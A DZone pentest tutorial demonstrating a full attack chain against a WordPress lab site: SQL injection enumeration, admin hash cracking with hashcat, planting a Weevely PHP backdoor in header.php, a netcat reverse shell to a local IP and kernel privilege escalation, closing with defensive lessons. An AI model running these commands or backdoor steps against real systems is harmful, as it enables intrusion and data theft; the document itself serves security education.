Exploiting SQL Injection: A Hands-on Example
Exploiting SQL Injection: A Hands-on Example
We'll take a look, step by step, at some examples of common attacks. And start off this series with an example of exploiting SQL Injection.
Join the DZone community and get the full member experience.Join For Free
In this series, we will be showing step-by-step examples of common attacks. We will start off with a basic SQL injection exploitation of a web application and then privilege escalation to O.S root.
SQL Injection is one of the most dangerous vulnerabilities a web application can be prone to. When a user's input is being passed unvalidated and unsanitized as part of a SQL query that means that the user can manipulate the query itself and force it to return different data than what it was supposed to return. In this article, we will see how and why this is so dangerous.
Examples of Vulnerable Code
Before getting our hands on the exploitation, let's first quickly see what SQLi is. Let's suppose that we have a web application which takes the parameter "article" via
$_GET request and queries the database to get an article's content.
The underlying PHP code is the following:
// The ”article” parameter is assigned to $article variable without any sanitization or validation $articleid = $_GET[‘article’]; // The $articleid parameter is passed as part of the query $query = "SELECT * FROM articles WHERE articleid = $articleid";
A typical page in this web application would be the following:
If a user changes the article parameter to 1 AND 1=1 then the query will look like this:
$query = "SELECT * FROM articles WHERE articleid = 1 AND 1=1";
In this case, the content of the page does not change because the two conditions in the SQL statement are both true. There is an article with an id of 1, and 1 is set equal to 1, which is true.
If a user changes the parameter to 1 AND 1=2, it returns nothing because 1 is not equal to 2.
That means that the user is controlling the query and can adjust it accordingly to manipulate the results. More detailed information on SQL Injection can be found here.
Let's see, step-by-step, how dangerous the exploitation of a SQL Injection can be. Just for reference, the following scenario is done on a Linux machine running Ubuntu 16.04.1 LTS, PHP 7.0, MySQL 5.7, and WordPress 4.9.
For the purposes of this demonstration, we have performed a security audit on a sample web application. During our pentest, we have identified a plugin endpoint which appears to be accepting, via a
$_GET request, the ID of a user, and is displaying their username.
The endpoint is directly accessible which could indicate "loose" security. The first thing someone would do is to manipulate the entry point (user input -
$_GET parameter) and observe the response. What we are looking for is to see if our input changes, in any way, the output of the application. Ideally, we want to see a SQL error which could indicate that our input is parsed as part of a query. There are many ways to identify whether an application is vulnerable to SQL injection. One of the most common and simple ones is the use of a single quote which under certain circumstances "breaks" the query:
The MySQL error we get confirms that the application is indeed vulnerable:
At this point, it is almost certain that we will soon be able to exfiltrate data from the web application's backend database. If our input is being parsed as part of the query that means that we can control it. If we can control the query, then we can control the results.
We have identified the SQL injection vulnerability, now let's proceed with the attack. We want to get access to the administration area of the website. Let's assume that we don't know the structure of the database or the admin has used non-default naming/prefix during the installation of WordPress. We need to find the tables' names to be able to grab the admin's password later.
To do that we first need to find how many columns the current table has. We will use column ordering to achieve that. " ORDER BY " is used to set the order(sort) of the results. Ordering can be done either by column name or by column number. If the ORDER BY number we pass in the parameter is less than the total number of columns in the current table then the output of the application should not change as the SQL query is valid. If, however, the number we input is larger than the total number of the columns then we will get an error as there won't be such column numbers to order the results by. In our case, we have identified 10 columns:
If we use a higher number, we don't get any results:
Depending on the setup, we might get an error:
Now that we know how many columns the current table has, we will use UNION to see which column is "vulnerable." UNION is used to combine results from multiple SELECT statements into a single result. "Vulnerable" is the column whose data is being displayed on the page.
As we can see, the number "10" is being displayed on the page which means it's "vulnerable":
We can confirm this by replacing it with
version() which will show the MySQL version:
Next, we need to find the table names which we will then use to exfiltrate data:
group_concat() function concatenates results into a string.
Information_schema is a database which stores information about other databases.
database() returns the name of the current database.
Now that we have the table structure, we can query the database to get the admin's credentials from the table
Bingo. We have the admin's password hash; however, we cannot currently use it. In order to find the plaintext password of this hash, we will use a well-known password recovery software named hashcat to crack it. There are various methods of cracking a password; we will try the "Dictionary" attack with a relatively small list containing 96 million passwords.
After downloading hashcat as well as the password list, we run the following command:
hashcat64 -m 400 -a 0 hash.txt wordlist.txt -m = the type of the hash we want to crack. 400 is the hash type for WordPress (MD5) -a = the attack mode. 0 is the Dictionary (or Straight) Attack hash.txt = a file containing the hash we want to crack wordlist.txt = a file containing a list of passwords in plaintext
We've been lucky and were able to recover the password within a few minutes. The recovered password is 10987654321:
Unless any sort of two-factor authentication is in place, the admin's password should be sufficient to access the website's backend. Once we do that, the options are limitless.
It is important to note that at the current stage we have full admin access to the website's backend which means we can access any page/post either private or not and export all the data, including the users, and pretty much do anything we want. Let's see how far we can get.
There are third-party WordPress plugins which could allow us to execute shell commands or upload new files, however, we will avoid that. What we are going to do is use Weavely, a popular lightweight PHP backdoor to further escalate this attack.
After downloading and unpacking the software, we will first create an agent which will be injected into the WordPress site and which will give us the ability to execute system commands under the low-privileged webserver account (www-data).
The following command will create a file which must be uploaded to the target system.
secuser@secureserver:~/weevely3-master# ./weevely.py generate abcd123 agent.php --> Generated backdoor with password 'abcd123' in 'agent.php' of 1332 byte size.
Instead of uploading the file, we will use WordPress's existing template files to inject the contents of agent.php. We navigate to the Appearance editor (which is by default enabled) and inject the code of agent.php into the
header.php file :
Now the backdoor agent is in place and what we need to do is initiate a connection to it from our local computer. Since we have injected the agent into the theme's header, we can specify any WordPress page as a target, since the header is included in all the template files.
Usage: ./weevely.py [URL] [AGENT_PASSWORD] root@secureserver:~/weevely3-master# ./weevely.py http://acunetix.php.example/wordpress/ abcd123
As we can see below, we have successfully initiated a connection to our backdoor agent. Running the id command returns the current user which is www-data. We also see that the hostname is "windoze" and the current working directory is "/var/www/html/wordpress ":
On the victim's side, this is what the requests sent to the backdoor looks like in the log:
On our local machine we also start a Netcat listener so that we can create a reverse shell connection from the target to our computer:
root@secureserver:~/weevely3-master# nc -l -v -p 8181 listening on [any] 8181 ...
We now send the following command to our backdoor agent to initiate a reverse shell connection:
www-data@targetmachine:/var/www/html/wordpress $ backdoor_reversetcp 192.168.2.112 8181 w/html/wordpress $
The Netcat listener shows that a connection has been established:
We now have a low privileged shell on the target machine. What we want is to escalate our privileges and get root access. The
uname -a command returns enough information for us to proceed with the attack. We are interested in the kernel version.
We have found a privilege escalation exploit which works on this Kernel version (18.104.22.168). We download and compile on our local machine.
Now, using our reverse shell connection, we will download the exploit on the target machine.
We grant the execute permission on the exploit by running "chmod +x chocobo_root" and then we run it :
After a few moments, the privilege escalation is successful, and we can see that we are running under the root account:
At this point, we have full root access to the target machine which means that the security triangle of Confidentiality, Integrity, and Availability has been completely compromised. This can be disastrous for an organization as an attacker can:
- Read/Edit/Delete confidential/private files on the server which may include: Emails; Files containing passwords; SSL Certificates; Databases with data of third parties which may contain sensitive information such as Credit Card Numbers, Addresses, Names, Telephone numbers; Financial information such as invoices, payroll, and agreements; Private images or videos.
- Use the machine to attack/access other computers/servers internally (pivoting).
- Use the machine to deliver malware to users.
- Create new users, monitor traffic, etc.
It is important to note that the machine was running on a default setup without any changes which would allow us to perform the attack easier.
A list of factors played a critical role in the successful exploitation of this attack:
- The web application was vulnerable to SQL injection, one of the worst vulnerabilities an application can be prone to. A vulnerability scanning tool would have detected it and given information on how to fix it.
- There was no WAF (Web Application Firewall) in place to detect the SQL injection exploitation. A WAF could block the attack even if the application is vulnerable.
- There was no Intrusion Detection or Intrusion Prevention system in place. Many IDSs keep a database with hashes of all the files on a system. If a file is modified, its hash changes and it raises a red flag by notifying the administrator of potentially malicious activity. This means that changes done to header.php (Weavely backdoor injected) could have been detected.
- The OS was not up-to-date, which allowed the privilege escalation to be successfully exploited.
Published at DZone with permission of Agathoklis Prodromou , DZone MVB. See the original article here.
Opinions expressed by DZone contributors are their own.